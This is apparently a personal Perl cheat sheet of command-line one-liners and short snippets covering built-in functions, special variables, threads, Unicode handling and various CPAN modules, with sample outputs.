perl -E '$pid = fork; if (!$pid){ say "[$$] child", sleep 1 while 0; say "start"; system qq(google-chrome --headless --virtual-time-budget=15000 --window-size=200,200 --screenshot=$ENV{HOME}/Downloads/my.png log); say "wait"; sleep 10 } else { say "[$$] parent"; waitpid $pid, 0; say "[$$] parent end" }'
#
perl -E 'for ( shift ) { say kill 0, $_; sleep 1; say kill -9, $_; sleep 1; say kill 0, $_ }' 3022126
#############################################################
## Perl Functions - getpwnam, getgrent, getgrnam, getgrgid
#############################################################
# UID in scalar context, all fields in list
perl -lE '$a=getpwnam("<USER>"); say $a'
perl -lE 'say for getpwnam("<USER>")'
# Group name entry
perl -lE 'say getgrent'
# Get name
perl -lE 'say for getgrnam("systems")'
# Group ID
perl -lE 'say for getgrgid("systems")'
# Get password file entry for a username (check if they exist)
perl -le 'print for getpwnam "<USER>"'
#############################################################
## Perl Functions - local
#############################################################
# Can use local actually with a lexical/my variable.
perl -Mojo -E 'my %h; { local $h{abc}=1; say r \%h } say r \%h'
perl -Mojo -E 'my %h; sub show { say "show: " . r \%h } { local $h{abc}=1; show() } show()'
show: {
"abc" => 1
}
show: {}
# Comparing lexical and global (quite similar).
perl -E 'sub show { my ($ref) = @_; say "$ref $$ref" } my $my = 111; our $our = 222; show \$my; show \$our; { my $my = 112; local $our = 223; show \$my; show \$our } show \$my; show \$our' SCALAR(0xb4000075870a0168) 111
SCALAR(0xb4000075870a0198) 222
SCALAR(0xb4000075870a1498) 112
SCALAR(0xb40000758701f678) 223
SCALAR(0xb4000075870a0168) 111
SCALAR(0xb4000075870a0198) 222
#############################################################
## Perl Functions - msgsnd, msgrcv
#############################################################
# Send and receive message from the queue (IPC)
perl -le 'msgsnd 99483684, "123456789", 0'
perl -le 'msgrcv 99483684, $var, 24, 0, 0; print "[$var]"'
#############################################################
## Perl Functions - ord
#############################################################
# Show ascii ordinal values
perl -E "say qq($_ ) . chr for 1..227"
perl -E "say qq($_ = ) . ord for qw/ a A ä ö ü ß /"
#############################################################
## Perl Functions - select
#############################################################
# Show the currently selected file handle.
perl -E 'say select'
main::STDOUT
#############################################################
## Perl Functions - split
#############################################################
# Idiom to collapse whitespace.
perl -E 'say for split " ", " i have so many spaces here "'
i
have
so
many
spaces
here
# Separate based on a lookahead position.
perl -E 'say for split /(?=[A-Z])/, "CatBatHat"'
Cat
Bat
Hat
# Separate and show the delimiter also (retension mode)
perl -E 'say for split /(\W)/, "Cat-Bat:Hat"'
Cat
-
Bat
:
Hat
#############################################################
## Perl Functions - sort
#############################################################
# Numerically sort a list
perl -le "print for sort { $a <=> $b } 1,10,2,5,22"
perl -le "print for sort { $a - $b } 1,10,2,5,22" # Same !?
# Binary sort and insert in perl
perl -le "@a=(4,10,20); sub add{ my ($n) = @_; print qq(\nAdding: $n); if($n < $a[0]){ unshift @a, $n } elsif($n > $a[-1]){ push @a, $n }else{ my ($first,$last) = (0,$#a); my $mid; while($first < $last){ $mid = $first + int(($last-$first)/2); print qq($first - $mid - $last); if($n < $a[$mid]){ $last=$mid; print qq(LEFT: $first - $mid - $last) }else{ $first=$mid+1; print qq(RIGHT: $first - $mid - $last) } } $mid=$first + int(($last-$first)/2); print qq(mid=$mid); splice @a, $mid, 0, $n } print qq(@a) } add(3); add(30); add(25); add(5); add(15)"
#############################################################
## Perl Functions - srand
#############################################################
# Can set srand from the environment.
PERL_RAND_SEED=123 perl -E 'say srand; say rand; say srand'
123
0.279512001973675
31682556
#############################################################
## Perl Functions - state
#############################################################
# Perl Functions - state
# Both ways work. 2nd seems messy.
perl -E 'sub id { state $v = 100; ++$v } say id for 1..5'101
perl -E 'sub id { BEGIN{ my $v = 100; sub up { $v++ } } up() } say id() for 1..5'
100
101
102
103
104
#############################################################
## Perl Funtions - substr
#############################################################
# substr can be used in a for loop to change just the field.
perl -E 'my $v = "1234"; for(substr $v, 1, 2){ $_ = "dog" } say $v'
1dog4
#############################################################
## Perl Functions - sysread
#############################################################
# Read 10 characters of input (Perl Functions - sysread).
perl -E 'my $in; my $len = sysread STDIN, $in, 10 or exit; say "[$in]"'
123456789012345678901234567890[1234567890]
#############################################################
## Perl Functions - system
#############################################################
# Using bash inside of a perl system call (plus source)
# Source some reason is NOT recursive!
system (
"bash",
"-c",
"source $ENV{HOME}/my/.bashrc; $command",
);
#############################################################
## Perl Functions - vec
#############################################################
# vec function example
# Start at character 3 (0-based)
# Pull out the next 8 bits
perl -le 'print chr vec "Just another Perl hacker", 3,8'
#############################################################
## Perl Functions - wantarray
#############################################################
# Check context of Perl subroutine return type
perl -E 'sub func{ $w=wantarray; say $w ? "LIST" : defined $w ? "SCALAR" : "VOID" } $h={key => func()}; $h={key => scalar func()}'
# Scalar versus list context
perl -Mojo -E 'sub func{ return } my @array = func(); say r \@array; my $scalar = func(); say r $scalar; sub func2 { say r \@_ } func2( func(), "Test was ok" ); func2( scalar func(), "Test was ok" )'
#############################################################
## Perl Operators - Decrement (--)
#############################################################
# Magic decrement operator in perl
perl -le "$_='perl'; package Mag; use strict; use warnings; use vars qw/$q/; BEGIN{$q=chr 34} use overload q(--) => \&dec, qq($q$q) => sub{ ${ $_[0] } }; sub new { my($c,$v) = @_; bless \$v, $c } sub dec { my @s=reverse split //, $_[0]; my $i; for($i=0; $i<@s; $i++){ last unless $s[$i] =~ /a/; $s[$i] = chr(ord($s[$i]) + 25) }; $s[$i] = chr(ord($s[$i]) - 1); my $v=join '', reverse @s; $_[0] = bless \$v, ref($_[0]) } package main; for(qw/ perl NZ Pa /){ my $mag = Mag->new($_); $mag--; print qq($_ goes to $mag) }"
#############################################################
## Perl Operators - Range (...)
#############################################################
# Grab stuff between spots (range operator)
cat alpha.dat | perl -ne 'print if /U N I G R A P H/ ... /TOTAL/i'
# Extract lines between the START and END markers (exclusively) (range operator)
cat file | perl -nle '$a=/START/.../END/; print if $a and $a!=1 and $a!~/E0$/'
# Range operator bug:
#
# Each flip flop maintains a global state:
perl -E 'sub f{ local $_ = shift; my $r = /a/ ... /b/; say $r } f $_ for qw/ a a /'
#
# Make a generator with with a closure and use a reference to a state variable.
perl -E 'sub f{ state $n=0; $n++; sub{ 0+$n; local $_ = shift; my $v = /a/ ... /b/; say $v } } $f1 = f; $f1->("a"); $f2 = f; $f2->("a")'
#
# Can see each sub point now to a different code ref.
perl -MDevel::Peek -E 'sub f{ state $n=0; $n++; sub{ 0+$n; local $_ = shift; my $v = /a/ ... /b/; say $v } } $f1 = f; $f1->("a"); $f2 = f; $f2->("a"); say Dump $_ for $f1, $f2'
#############################################################
## Perl Variable Types
#############################################################
# Using "our" declaration in perl
#
# ok
perl -le "INIT{ $STOP=3 }; print $STOP"
#
# errors
perl -le "use strict; INIT{ $STOP=3 }; print $STOP"
#
# fix1: our
perl -le "use strict; INIT{ our $STOP=3 } our $STOP; print $STOP"
perl -le "use strict; INIT{ our $STOP=3 } print our $STOP"
#
# fix2: "use vars" (BEST way)
perl -le "use strict; use vars qw/$STOP/; INIT{ $STOP=3 }; print $STOP"
#
# fix3: Full package name
perl -le "use strict; INIT{ $main::STOP=3 } print $main::STOP"
perl -le "use strict; INIT{ $::STOP=3 } print $::STOP"
#############################################################
## Perl Variables - General
#############################################################
# Effective UID of current perl program
perl -lE 'say $>'
# Real UID of current perl program
perl -lE 'say $<'
# Effective GID of current perl program
perl -lE 'say $)'
# Real GID of current perl program
perl -lE 'say $('
# Perl print all the special "$^X" variables
perl -le "print qq($_ = ), eval for map(qq(\$^$_), A..Z)"
# Produce "is not available at" warning.
perl -E 'use warnings; { my $v = 123; sub run { say eval q($v) } } run(q($v))'
#############################################################
## Perl Variables - $@
#############################################################
# Successful eval will reset $@.
perl -E 'eval{1/0}; say $@; eval{}; say $@'
#############################################################
## Perl Variables - ${^GLOBAL_PHASE}
#############################################################
# Perl Variables - ${^GLOBAL_PHASE} - Can check if in DESTROY.
perl -E 'package P; sub DESTROY { say ${^GLOBAL_PHASE} } { my $v = bless {}, "P" }'
RUN
#############################################################
## Perl Variables - @{^CAPTURE}
#############################################################
# Get a list of all matches.
# Available from v5.26
perl -E '"abc" =~ /(.)(.)(.)/; say for $1,$2,$3'
perl -E '"abc" =~ /(.)(.)(.)/; say for @{^CAPTURE}'
a
b
c
perl -E '"abc" =~ /(.)(.)(.)/; say for ${^CAPTURE[0]}'
a
# Before @{^CAPTURE}:
perl -E '"abc" =~ /(?<a>.)(?<b>.)(?<c>.)/; say for sort keys %+'
a
b
c
perl -E '"abc" =~ /(?<v>.)(?<v>.)(?<v>.)/; say for $-{v}->@*'
a
b
c
#############################################################
## Perl Variables - %INC
#############################################################
# Find Perl library
perl -le 'print "$_ -> $INC{$_}" for keys %INC'
#############################################################
## Perl Variables - @INC, $ENV{PERL5LIB}
#############################################################
# Can use PERL5LIB to automatically file in @INC.
# Perl Variables - @INC, $ENV{PERL5LIB}
# Old versions of perl can SEGV when it is added
# an interator hook coderef.
#
# While in older versions of perl having a hook
# modify @INC was fraught with issues and could
# even result in segfaults or assert failures,
# as of 5.37.7 the logic has been made much more
# robust and the hook now has control over the
# loop iteration if it wishes to do so.
#############################################################
## Perl Variables - %ENV
#############################################################
# User %ENV and system calls (affect sub process) (Milton)
export ABC=outside
perl -le '$ENV{ABC}="inside"; system q(echo "$ABC")'
# prints inside
# Each sub process has a separate ENV list
perl -le 'system q(export ABC=456; echo "$ABC"); print "-$ENV{ABC}"; system q(echo "$ABC")'
#############################################################
## Perl Variables - %{^HOOK}
#############################################################
# Perl Variables - %{^HOOK}
As of 5.37.10,
prior to any other actions it performs,
require will check if ${^HOOK}{require__before}
contains a coderef, and if it does it will be
called with the filename form of the item being
loaded. The hook may modify $_[0] to load a
different filename, or it may throw a fatal
exception to cause the require to fail, which
will be treated as though the required code
itself had thrown an exception.
perl -E '
use warnings;
BEGIN{
${^HOOK}{require__before} = sub {
say "here: @_";
$_[0] =~ s/Scalar/List/;
};
}
use Scalar::Util qw( reftype );
my $v = [];
say reftype $v
'
here: Scalar/Util.pm
here: strict.pm
here: warnings.pm
here: strict.pm
here: Exporter.pm
here: strict.pm
here: strict.pm
here: XSLoader.pm
here: strict.pm
here: strict.pm
Unquoted string "reftype" may clash with future reserved word at -e line 1.
Name "main::reftype" used only once: possible typo at -e line 1.
say() on unopened filehandle reftype at -e line 1.
# Perl Variables - %{^HOOK}
As of 5.37.10,
There is a similar hook that fires after require
completes, ${^HOOK}{require__after}, which will
be called after each require statement completes,
either via an exception or successfully. It will
be called with the filename of the most recently
executed require statement. It is executed in an
eval, and will not in any way affect execution.
#############################################################
## Perl Variables - $/ (IRS)
#############################################################
# Perl Variables - $/ (IRS)
# Commandline -0
-0 - null
-013 - octal new line
-0xd - hex new line
-00 - paragraph mode
-0777 - slurp mode
#
# $/
undef - slurp mode
blank - paragraph mode
\256 - fixed byte mode
#############################################################
## Perl Variables - *STDOUT
#############################################################
# Redirect STDOUT to a variable in perl
perl -E "{local *STDOUT; open STDOUT, '>', \$v or die $!; say 123;} say qq([$v])"
# Use -t to test STDIN and STDOUT:
sub I_am_interactive {
return -t STDIN && -t STDOUT;
}
#############################################################
## Perl Variables - $^T
#############################################################
# Find out when a program was started (timestamp)
perldoc -v "$^T"
> $BASETIME
> $^T The time at which the program began running, in seconds since
> the epoch (beginning of 1970). The values returned by the -M,
> -A, and -C filetests are based on this value.
perl -MEnglish -le "print $BASETIME" # 1605178952
perl -le "print $^T"
#############################################################
## Perl Modules - General
#############################################################
# General, interesting trick in perl.
# Given:
My.pm:
package My;
print "In My.pm\n";
My.pmc:
package My;
print "In My.pmc\n";
#
# pmc has precedence:
perl -MMy -e0
In My.pmc
#############################################################
## Perl Modules - AnyEvent
#############################################################
# Simple exmplae of parallel processing
# (Perl Modules - AnyEvent)
# NOT WORKING!
perl -MAnyEvent -E 'my @files = (1..30); my $cv = AnyEvent->condvar; foreach my $file (@files) { $cv->begin; AnyEvent->timer(after => 0, cb => sub { say "Processing file $file"; sleep(1); $cv->end; }); } $cv->recv;'
#############################################################
## Perl Modules - Automake::Config
#############################################################
# Install Automake::Config (termux)
git clone git@github.com:poti1/arm-none-eabi.git
cd arm-none-eabi
cpanm --look automake-1.15.gz
$ ./configure
$ make
$ make install
#############################################################
## Perl Modules - autovivification
#############################################################
# autovivification Example:
perl -Me -E 'my $h = { k => 11 }; no autovivification; say defined $h->{k2}{k3}{k5}; p $h'
{
k 11
}
#############################################################
## Perl Modules - B::Concise
#############################################################
# Perl Modules - B::Concise
# explain what a perl program is doing (very concise).
perl -MO=Concise -e 'print 111'
#############################################################
## Perl Modules - B::Deparse
#############################################################
# Perl Modules - B::Deparse
# explain what a perl program is doing (simply)
perl -MO=Deparse -e 'print 111'
#############################################################
## Perl Modules - bignum
#############################################################
# Convert big numbers into full form
# from scientific notation to expanded form
echo "$b" | perl -Mbignum -lpe '$_ += 0'
#############################################################
## Perl Modules - binmode
#############################################################
# Using unicode in perl STDOUT
perl -CO script
perl -C script # Which is same as
perl -CDSL script # S includes I/O
perl -e 'binmode STDOUT, "encoding(UTF-8)"'
perl -e 'binmode STDOUT, ":utf8"'
perl -E 'use open qw/:std :utf8/; say "\N{SNOWFLAKE}"'
# Mixed up encoding.
perl -E '$s = "é"; say length($s) . " $s"'
2 é
perl -C -E '$s = "é"; say length($s) . " $s"'
2 é
perl -Mutf8 -E '$s = "é"; say length($s) . " $s"'
1 �
perl -C -Mutf8 -E '$s = "é"; say length($s) . " $s"'
1 é
#############################################################
## Perl Modules - Business::CreditCard
#############################################################
# Validate a credit card number.
perl -MBusiness::CreditCard -E 'say validate("5276 4400 6542 1319")'
1
#
perl -MBusiness::CreditCard -E 'say cardtype("5276 4400 6542 1319")'
MasterCard
#############################################################
## Perl Modules - charnames
#############################################################
# Convert between a Unicode character, hexidecimal number and the name
perl -CDAS -E 'use charnames(); printf "%s %#x %s\n", $_, ord, charnames::viacode(ord) for @ARGV' ❄ ☃
# ❄ 0x2744 SNOWFLAKE
# ☃ 0x2603 SNOWMAN
# Converting between a Unicode name, code, and string
# Name: SNOWFLAKE
# Code: 0x2744, 10052
# String: \N{SNOWFLAKE}, \N{U+2744}, \x{2744}, ❄
#
perl -C -E 'say "\N{SNOWFLAKE}"' # \N{SNOWFLAKE} -> ❄
perl -C -E 'say "\N{U+2744}"' # \N{U+2744} -> ❄
perl -C -E 'say "\x{2744}"' # \x{2744} -> ❄
perl -C -Mutf8 -E 'say "❄"' # ❄ -> ❄
perl -E 'say "❄"' # ❄ -> ❄
perl -E 'use open qw/:std :utf8/; say "\N{SNOWFLAKE}"' # \N{SNOWFLAKE} -> ❄
#
perl -Mutf8 -E 'printf "%#x\n", ord "❄"' # ❄ -> 0x2744
perl -Mutf8 -E 'say ord "❄"' # ❄ -> 10052
perl -Mutf8 -Mcharnames=:full -E 'say charnames::viacode ord "❄"' # ❄ -> SNOWFLAKE
#
perl -C -Mcharnames=:full -E 'say charnames::vianame("SNOWFLAKE")' # SNOWFLAKE -> 2744
perl -C -Mcharnames=:full -E 'printf "%#x\n", charnames::vianame("SNOWFLAKE")' # SNOWFLAKE -> 0x2744
perl -C -Mcharnames=:full -E 'say charnames::string_vianame("SNOWFLAKE")' # SNOWFLAKE -> ❄
#
perl -C -Mcharnames=:full -E 'say charnames::viacode("U+2744")' # U+2744 -> SNOWFLAKE
perl -C -Mcharnames=:full -E 'say charnames::viacode(0x2744)' # 0x2744 -> SNOWFLAKE
perl -C -Mcharnames=:full -E 'say charnames::viacode("10052")' # 10052 -> SNOWFLAKE
# Difference between the different whitespace regex characters
perl -Mcharnames=:full -E 'my @qr = (qr/\s/, qr/\h/, qr/\v/, qr/[[:space:]]/, qr/\p{Space}/); my $fmt = "%#06x" . ("%2s" x @qr) . " %s\n"; printf "\nVersion: $^V\n$fmt\n", qw/- s h v p u Name/; for my $ord (0..0x10ffff){ my $chr = chr $ord; next unless $chr =~ /\p{Space}/; @m = map { $chr =~ $_ ?"x" : " " } @qr; printf $fmt, $ord, @m, charnames::viacode($ord)} say ""'
#
# s - \s
# v - \v
# p - [[:space:]] (POSIX)
# u - \p{Space}
# Version: v5.32.1
# 000000 s h v p u Name
#
# 0x0009 x x x x CHARACTER TABULATION
# 0x000a x x x x LINE FEED
# 0x000b x x x x LINE TABULATION
# 0x000c x x x x FORM FEED
# 0x000d x x x x CARRIAGE RETURN
# 0x0020 x x x x SPACE
# 0x0085 x x x x NEXT LINE
# 0x00a0 x x x x NO-BREAK SPACE
# 0x1680 x x x x OGHAM SPACE MARK
# 0x2000 x x x x EN QUAD
# 0x2001 x x x x EM QUAD
# 0x2002 x x x x EN SPACE
# 0x2003 x x x x EM SPACE
# 0x2004 x x x x THREE-PER-EM SPACE
# 0x2005 x x x x FOUR-PER-EM SPACE
# 0x2006 x x x x SIX-PER-EM SPACE
# 0x2007 x x x x FIGURE SPACE
# 0x2008 x x x x PUNCTUATION SPACE
# 0x2009 x x x x THIN SPACE
# 0x200a x x x x HAIR SPACE
# 0x2028 x x x x LINE SEPARATOR
# 0x2029 x x x x PARAGRAPH SEPARATOR
# 0x202f x x x x NARROW NO-BREAK SPACE
# 0x205f x x x x MEDIUM MATHEMATICAL SPACE
# 0x3000 x x x x IDEOGRAPHIC SPACE
# Last unicode character
0x10FFFF
#############################################################
## Perl Modules - constant
#############################################################
# Create a constant in perl.
perl -E 'use constant ABC => 123; say ABC' 123
perl -Mconstant=ABC,123 -E 'say ABC' 123
perl -E 'sub ABC(){ 123 } say ABC' 123
perl -E 'sub ABC{ 123 } say ABC' 123
#############################################################
## Perl Modules - cpanm
#############################################################
# Install cpanm
cpan App::cpanminus
# Install dependencies using cpanm
# Create file: cpanfile
requires 'Mojolicious';
recommends 'JSON::XS';
#
# Install perl dependencies from cpanfile:
cpanm --installdeps .
# Install a perl module as root
cpanm -S Selenium::Remote::Driver
cpanm --sudo Selenium::Remote::Driver
#############################################################
## Perl Modules - cpan-outdated
#############################################################
# Update outdated perl modules
cpanm App::cpanoutdated
cpan-outdated | cpanm
#############################################################
## Perl Modules - perltidy
#############################################################
# Clean up perl script
perltidy my_file
# Perltidy configuration file
vi .perltidyrc
-mbl=2 -pt=0 -b -bext='/' -blbs=1 -bom -bbb -nbl
# Tell perltidy to ignore a line
<STDIN>; ## no critic
# html
sudo apt-get install tidy
sudo apt-get install libhtml-tidy-perl # Perl library
# View current options when doing perltidy
perltidy my_file -dop # --dump-options
#############################################################
## Perl Modules - re
#############################################################
# Debug a regular expression
perl -Mre=debug -le 'print "abc:def-hij"=~/\w+/'
perl -Mre=debug -e 'print if "aaa:bbb" =~ /\w+/'
perl -Mre=Debug,PARSE -e 'print if "aaa:bbb" =~ /\w+/'
# Debug a regular expression (with some color)
perl -Mre=debugcolor -le 'print "abc:def-hij"=~/\w+/'
# Check if certain words are in order in a file
echo "line1 line2" | perl -0777nlE 'INIT{-t and die; $a=join".*?",map{/\S+/g}<STDIN>; $r=qr/$a/s} say "$ARGV - " . (/$r/?"PASS":"FAIL") ' f1 f2
echo "line1 line4" | perl -Mre=eval -0777ne 'INIT{-t and die; $a=join "",map qq[ (?{print"\\nTrying $_ - "}) (.*?(??{"$_"}) (?{print"pass"})) ],map{/\S+/g}<STDIN>; $r=qr/^$a/sx; print "\n\$r=qr$r\n\n"} print "\n# $ARGV"; print "\n".(/$r/?"PASS":"FAIL")."\n\n"' f1 f2
echo "line1 line4" | perl -Mre=eval -0777ne 'INIT{-t and die; $a=join "",map qq[ (?{print"\\nTrying $_ - "}) (.*?(??{"$_"}) (?{print"pass"})) ],map{/\S+/g}<STDIN>; $r=qr/^$a/sx} print "\n# $ARGV"; print "\n".(/$r/?"PASS":"FAIL")."\n\n"' f1 f2
# View optimizations done on a pattern.
perl -Mre=optimization -Mojo -E 'say r optimization qr/^abc/'
# A way to check if using a regular expression.
perl -Mre=is_regexp -E 'say is_regexp qr{}'
1
perl -Mre=is_regexp -E 'say is_regexp 123'
#############################################################
## Perl Modules - threads
#############################################################
# Error: This Perl not built to support threads
# Check if perl binary supports threads.
perl -V:useithreads
perl -MConfig -E 'say $Config{useithreads}'
# Simple thread example in perl
# Threads start running already with threads->create()
perl -Mthreads -le '@t=map threads->create(sub{print "Im #$_"}), 1..10; $_->join for @t'
# Simple thread example in perl
# Find the summation of 1 through 10
# Uses a shared variable between threads
perl -Mthreads -Mthreads::shared -le '$sum=0; share($sum); @t=map threads->create(sub{$sum += $_}), 1..10; print $_->join for @t; print "sum: $sum"'
# Aliases for threads->create.
perl -lMthreads -le '@t=map threads->new(sub{print $_}), 1..3; $_->join for @t'
perl -lMthreads -le '@t=map async(sub{print $_}), 1..3; $_->join for @t'
perl -lMthreads -le '@t=map threads->new(sub{print $_}), 1..3; $_->join for @t'
# If using a coderef, you must use threads->create.
perl -lMthreads -le '$sub = sub{ print "123" }; @t=map threads->new( $sub ), 1..3; $_->join for @t'
# If using a coderef, you must use threads->create (with arguments).
perl -lMthreads -le '$sub = sub{ print "@_" }; @t=map threads->new( $sub, $_ ), 1..3; $_->join for @t'
# Shared and non shared variables example
perl -lMthreads -Mthreads::shared -le '$a=$b=1; share($a); async(sub{$a++; $b++})->join; print "a=$a, b=$b"'
# Thread pitfall. $a can be either 2 or 3 (race condition)
perl -lMthreads -Mthreads::shared -le '$a=1; share($a); $_->join for map async(sub{my $foo=$a; $a=$foo+1}), 1..2; print "a=$a"'
# Allow only one thread to touch a variable at a time
# This will cause a "deadlock" where one thread requires a reourses
# locked by another thread and vice versa
perl -Mthreads -Mthreads::shared -le 'share $a; share $b; push @t, async(sub{lock $a; sleep 20; lock $b}); push @t, async(sub{lock $b; sleep 20; lock $a}); $_->join for @t'
#
# Alternate syntax 1
perl -Mthreads -le 'my $a :shared; my $b :shared; push @t, async(sub{lock $a; sleep 20; lock $b}); push @t, async(sub{lock $b; sleep 20; lock $a}); $_->join for @t'
#
# Alternate syntax 2
perl -Mthreads -le 'my $a :shared; my $b :shared; push @t, threads->create(sub{lock $a; sleep 20; lock $b}); push @t, threads->create(sub{lock $b; sleep 20; lock $a}); $_->join for @t'
# Thread safe queues. Passing data around
perl -Mthreads -MThread::Queue -le 'my $q=Thread::Queue->new; $t=async(sub{ print "Popped $d off the queue" while $d=$q->dequeue }); $q->enqueue(12); $q->enqueue(qw/A B C/); sleep 1; $q->enqueue(undef); $t->join'
# Thread safe queues. Passing complex data around
perl -Mthreads -MThread::Queue -le 'my $q=Thread::Queue->new; $t=async(sub{ print "Popped @$d off the queue" while $d=$q->dequeue }); $q->enqueue([1..3]); $q->enqueue([qw/A B C/]); sleep 1; $q->enqueue(undef); $t->join'
# Compute pi using parallel threading
time perl -Mthreads -Mthreads::shared -le 'share $sum; $M=100_000_000; $T=6; $h=1/$M; sub sum { my $s; my($from,$to)=@_; for($from..$to){ my $x=$h*($_-0.5); $s += 4/(1+$x**2)}; $s } sub split_by { my($max,$by)=@_; my $from=1; my @l; while($to<$max){ $to=$from+(($max-$from+1)/$by--)-1; $to=int($to)+1 if $to != int($to); push @l, [$from,$to]; $from=$to+1 }; @l } @a=split_by($M,$T); @t=map {async sub{sum(@$_)}} @a; $sum += $_->join() for @t; $pi = $h * $sum; print $p'
#############################################################
## Perl Modules - CAM::PDF
#############################################################
# Example getting title fields from a pdf.
use CAM::PDF;
use e;
my $infile = shift or die "\nSyntax: perl fill:pdf.pl my.pdf\n";
(my $outfile = $infile) =~ s/(?=\.pdf)/_filled/i;
my $doc = CAM::PDF->new($infile) or die "$CAM::PDF::errstr\n";
say "Titles of the fields:";
p [$doc->getFormFieldList];
say "Adding new field values";
$doc->fillFormFields(
Start_Date => "Value 1",
Closed_Date => "Value 2",
Closed_By => "Value 3",
);
say "saving new file";
$doc->cleanoutput($outfile);
#############################################################
## Perl Modules - Carp
#############################################################
# Show a stack trace in perl.
perl -MCarp=longmess -E 'sub fun1{ fun2("TO FUN2") } sub fun2{ say longmess } fun1("TO FUN1")'
# Show a stack trace in perl. (Carp uses a similar approach).
# @DB::args is set (for a scope) when this command is run (some magic).
{
package DB;
my @caller = caller($scope);
() = caller($scope); # Same thing (to invoke LIST context).
}
perl -E 'sub fun1{ fun2("TO FUN2") } sub fun2{ my $scope = 0; while(my @caller = caller($scope)){ {package DB; () = caller($scope)} say "@caller[1,2,3,4] - (@DB::args)"; $scope++ }} fun1("TO FUN1")'
#############################################################
## Perl Modules - Carton
#############################################################
# Keep track of the installed modules in a local directory by making a
# virtual environment. Like virtualenv and requirements.txt, but for Perl.
cpanm Carton
# Perl install modules found in cpanfile
carton install
# Perl zip modules found in cpanfile
carton bundle
#############################################################
## Perl Modules - CGI
#############################################################
# Make html ordered lists from array lists
perl -MCGI=ol,li -le 'print ol(li([qw/red blue green/]))'
perl -MCGI=ol,li -le 'print ol(li [qw/red blue green/])'
perl -MCGI=ol,li -le 'print ol li [qw/red blue green/]'
# Generate a sample html page
perl -MCGI=:standard,:html3 -le 'print header(),start_html(),ol(li [qw/red blue green/]),end_html()' > my.html
perl -MCGI=:standard,:html3 -le 'print header(),start_html(),td(Tr [qw/red blue green/]),end_html()' > my2.html
#############################################################
## Perl Modules - Class::Tiny
#############################################################
# Alternate to Mojo::Base has.
perl -Mojo -E '{ package A; use Class::Tiny qw(name age color); sub new { bless {}, shift } } my $obj = A->new; $obj->name("bob"); $obj->color("blue"); say r $obj'
bless( {
"color" => "blue",
"name" => "bob"
}, 'A' )
#############################################################
## Perl Modules - Crypt::JWT
#############################################################
# Example of encoding using JWT.
perl -MCrypt::JWT=encode_jwt -E '$token = encode_jwt(payload=> "hello jwt", alg=>"HS256", key=>"mypass"); say $token'
eyJhbGciOiJIUzI1NiJ9.aGVsbG8gand0.UMNFghYANKBBnAbLgTVe26QEyPFLwPMbb7piDSRYNBQ
# Example of decoding using JWT.
perl -MCrypt::JWT=encode_jwt,decode_jwt -E '$token = encode_jwt(payload=> "hello jwt", alg=>"HS256", key=>"mypass"); say decode_jwt(token => $token, key => "mypass" )'
HMAC Integrity check
- key: [mypass]
$X4]hmac: [PÃE4 AË5^Û¤ÈñKÀóºb
hello jwt
#############################################################
## Perl Modules - Crypt::PasswdMD5
#############################################################
# Generate MD5 Password
perl -MCrypt::PasswdMD5 -lE 'say unix_md5_crypt('pass','salt')'
openssl passwd -1 -salt salt pass
#############################################################
## Perl Modules - Cwd
#############################################################
# Get current working directory (slightly different than pwd)
perl -MCwd -le 'print getcwd'
# Get absolute path to a file (works same for link and regular files,DES)
perl -MCwd=realpath -le '$_="file"; print realpath($_)'
#############################################################
## Perl Modules - DateTime
#############################################################
# Create expiration dates (Start of tomorrow,start of next week)
perl -MDateTime -E '$dt = DateTime->now; say $dt->add(days => 1)->truncate(to => "day" )'
# 2021-08-06T00:00:00
perl -MDateTime -E '$dt = DateTime->now; say $dt->add(weeks => 1)->truncate(to => "local_week" )'
# 2021-08-08T00:00:00
# Truncate date to start of this week (Monday).
perl -MDateTime -E '$dt = DateTime->now; say $dt->truncate(to => "week" )->strftime("%e %b %Y")'
# Truncate date to end of 3 weeks from now on a Friday.
perl -MDateTime -E '$dt = DateTime->now; say $dt->truncate(to => "week" )->add(weeks => 3, days => 4)->strftime("%e %b %Y")'
#############################################################
## Perl Modules - Data::DPath
#############################################################
# Recurse through a data structure and print matches.
perl -MData::DPath -Mojo -E 'my $data = {a => [0, {complex => 1}]}; say "\nBefore:"; say r $data; for my $node ( grep {ref} Data::DPath->match($data, "//") ){ say "Tying: $node: " . r $node}'
#
# Before:
# {
# "a" => [
# 0,
# {
# "complex" => 1
# }
# ]
# }
#
# Tying: ARRAY(0xb400007e98818a28): [
# 0,
# {
# "complex" => 1
# }
# ]
#
# Tying: HASH(0xb400007e98818698): {
# "complex" => 1
# }
#
# Tying: HASH(0xb400007e988291f0): {
# "a" => [
# 0,
# {
# "complex" => 1
# }
# ]
# }
# Show where a complex data structure is being updated.
perl -MData::DPath -MCarp=longmess -MTie::Watch -Mojo -E 'my $data = {a => [0, {complex => 1}]}; say "\nBefore:"; say r $data; for my $node ( grep {ref} Data::DPath->match($data, "//") ){ say "Tying: $node"; Tie::Watch->new( -variable => $node, -store => sub{ my($self,$v) = @_; $self->Store($v); say "Storing here:" . longmess() });} sub BadCall{ $data->{a}[0] = 1 } say ""; BadCall(); say "After:"; say r $data'
#############################################################
## Perl Modules - Data::Dumper
#############################################################
# Deparse a subroutine in a data structure
perl -MData::Dumper -le '$ref=sub{print "in sub"}; &$ref; my $d=Data::Dumper->new([$ref])->Deparse(1); print $d->Dump'
# Deparse/show the code of a subroutine
perl -MData::Dumper -le '$Data::Dumper::Deparse=1; sub add{my($a,$b)=@_; $a+$b}; print Dumper \&add'
perl -MData::Dumper -le '$Data::Dumper::Deparse=1; $add=sub{my($a,$b)=@_; $a+$b}; print Dumper $add'
# Data Dumper subroutine template
sub _dumper {
require Data::Dumper;
my $data = Data::Dumper
->new( [@_] )
->Indent( 1 )
->Sortkeys( 1 )
->Terse( 1 )
->Useqq( 1 )
->Dump;
return $data if defined wantarray;
say $data;
}
#############################################################
## Perl Modules - Data::Printer
#############################################################
# Colorful data dumper.
# p - print.
# np - capture dump output.
perl -MData::Printer -E 'my $var = [1..3, {a => 1, b => 2}, 123]; p $var'
[
[0] 1,
[1] 2,
[2] 3,
[3] {
a 1,
b 2
},
[4] 123
]
#############################################################
## Perl Modules - Data::Trace
#############################################################
# Show where a complex data structure is being updated.
cpanm Data::Trace
perl -MData::Trace -Mojo -E 'my $data = {a => [0, {complex => 1}]}; say "\nBefore:"; say r $data; Data::Trace->Trace($data); sub BadCall{ $data->{a}[0] = 1 } say ""; BadCall(); say "After:"; say r $data'
# Data::Trace (WIP).
